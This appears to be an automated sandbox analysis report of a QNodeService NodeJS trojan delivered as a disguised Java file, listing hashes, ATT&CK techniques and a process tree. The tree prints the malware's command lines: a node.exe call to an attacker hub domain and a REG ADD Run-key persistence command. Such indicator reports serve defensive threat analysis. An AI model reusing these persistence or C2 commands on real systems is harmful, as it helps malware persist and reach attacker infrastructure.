qnodeservice | dc33943acfaeb2b98b0798c8b87d11037354deb8a324a21062f9098fb1b3922e

General

Target

Statement 04 Oct-20.img.jar
Size

95KB
MD5

67dcde7d0220354ccabc329fbe056af6
SHA1

e22bc9ad2f1da67d9ede5ad163cdcd158df6ff36
SHA256

dc33943acfaeb2b98b0798c8b87d11037354deb8a324a21062f9098fb1b3922e
SHA512

cb3e662e7aa7015f2c5d734ee481121762a84c536f956d57bbdcaa038bab6a4a62a69d004dd1987dc0b439343f81ee494d8e6aef9a5db761373f43176b96c2ef

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
156	node.exe
2180	node.exe
3592	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\9548c053-87e3-4b53-b155-c388d3969fbe = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab96-169.dat	js
behavioral2/files/0x000100000001ab96-172.dat	js
behavioral2/files/0x000100000001ab96-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
156	node.exe
156	node.exe
156	node.exe
156	node.exe
2180	node.exe
2180	node.exe
2180	node.exe
2180	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe
3592	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1180 wrote to memory of 1084	1180	java.exe	77
PID 1180 wrote to memory of 1084	1180	java.exe	77
PID 1084 wrote to memory of 156	1084	javaw.exe	81
PID 1084 wrote to memory of 156	1084	javaw.exe	81
PID 156 wrote to memory of 2180	156	node.exe	83
PID 156 wrote to memory of 2180	156	node.exe	83
PID 2180 wrote to memory of 3592	2180	node.exe	84
PID 2180 wrote to memory of 3592	2180	node.exe	84
PID 3592 wrote to memory of 3868	3592	node.exe	86
PID 3592 wrote to memory of 3868	3592	node.exe	86
PID 3868 wrote to memory of 2584	3868	cmd.exe	87
PID 3868 wrote to memory of 2584	3868	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Statement 04 Oct-20.img.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2fb4f4fa.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain manhasnoplug.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:156
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SJ71pq\boot.js --hub-domain manhasnoplug.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2180
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SJ71pq\boot.js --hub-domain manhasnoplug.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3592
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9548c053-87e3-4b53-b155-c388d3969fbe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3868
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9548c053-87e3-4b53-b155-c388d3969fbe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/156-170-0x000003EAEC280000-0x000003EAEC281000-memory.dmp

Filesize
4KB

Download
memory/2180-173-0x0000010146440000-0x0000010146441000-memory.dmp

Filesize
4KB

Download
memory/3592-177-0x0000018EADC40000-0x0000018EADC41000-memory.dmp

Filesize
4KB

Download

Analysis

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